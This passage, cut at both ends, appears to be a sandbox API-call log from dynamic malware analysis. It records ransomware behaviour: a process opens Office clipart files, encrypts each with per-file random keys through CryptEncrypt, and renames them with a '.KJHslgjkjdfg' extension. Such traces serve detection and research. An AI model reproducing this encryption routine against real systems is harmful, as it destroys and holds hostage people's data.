lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.294] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.294] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.294] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x380a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x380a, lpOverlapped=0x0) returned 1 [0199.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3810, dwBufLen=0x3810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3810) returned 1 [0199.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.295] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3810, lpOverlapped=0x0) returned 1 [0199.296] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.296] SetEndOfFile (hFile=0x130) returned 1 [0199.298] GetProcessHeap () returned 0x990000 [0199.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.298] GetProcessHeap () returned 0x990000 [0199.298] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf.kjhslgjkjdfg")) returned 1 [0199.300] CloseHandle (hObject=0x130) returned 1 [0199.300] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d7d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d7d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x899c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232797.WMF", cAlternateFileName="")) returned 1 [0199.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.301] GetProcessHeap () returned 0x990000 [0199.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.301] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.304] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.304] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.304] GetProcessHeap () returned 0x990000 [0199.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.304] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.304] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.304] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.304] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.304] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.305] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.305] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x899c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x899c, lpOverlapped=0x0) returned 1 [0199.309] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x89a0, dwBufLen=0x89a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x89a0) returned 1 [0199.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.309] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x89a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x89a0, lpOverlapped=0x0) returned 1 [0199.310] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.310] SetEndOfFile (hFile=0x130) returned 1 [0199.313] GetProcessHeap () returned 0x990000 [0199.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.313] GetProcessHeap () returned 0x990000 [0199.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232797.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232797.wmf.kjhslgjkjdfg")) returned 1 [0199.315] CloseHandle (hObject=0x130) returned 1 [0199.315] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0199.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.317] GetProcessHeap () returned 0x990000 [0199.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.317] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.319] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.319] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.319] GetProcessHeap () returned 0x990000 [0199.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.320] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.320] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.320] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.320] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.320] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.320] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.320] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4de6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4de6, lpOverlapped=0x0) returned 1 [0199.322] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4df0, dwBufLen=0x4df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4df0) returned 1 [0199.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.322] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4df0, lpOverlapped=0x0) returned 1 [0199.322] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.322] SetEndOfFile (hFile=0x130) returned 1 [0199.323] GetProcessHeap () returned 0x990000 [0199.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.324] GetProcessHeap () returned 0x990000 [0199.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf.kjhslgjkjdfg")) returned 1 [0199.325] CloseHandle (hObject=0x130) returned 1 [0199.325] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0199.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.326] GetProcessHeap () returned 0x990000 [0199.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.326] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.326] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.329] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.329] GetProcessHeap () returned 0x990000 [0199.329] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.329] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.329] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.329] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.329] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.329] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.329] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.329] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.330] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x26e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x26e8, lpOverlapped=0x0) returned 1 [0199.331] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x26f0) returned 1 [0199.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.331] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x26f0, lpOverlapped=0x0) returned 1 [0199.331] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.331] SetEndOfFile (hFile=0x130) returned 1 [0199.334] GetProcessHeap () returned 0x990000 [0199.334] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.334] GetProcessHeap () returned 0x990000 [0199.334] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.kjhslgjkjdfg")) returned 1 [0199.336] CloseHandle (hObject=0x130) returned 1 [0199.336] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0199.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.338] GetProcessHeap () returned 0x990000 [0199.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.338] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.338] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.340] GetProcessHeap () returned 0x990000 [0199.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.341] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.341] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.341] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.341] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.341] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.341] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.341] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x312c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x312c, lpOverlapped=0x0) returned 1 [0199.342] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3130, dwBufLen=0x3130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3130) returned 1 [0199.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.343] WriteFile (in: hFile=0x130, 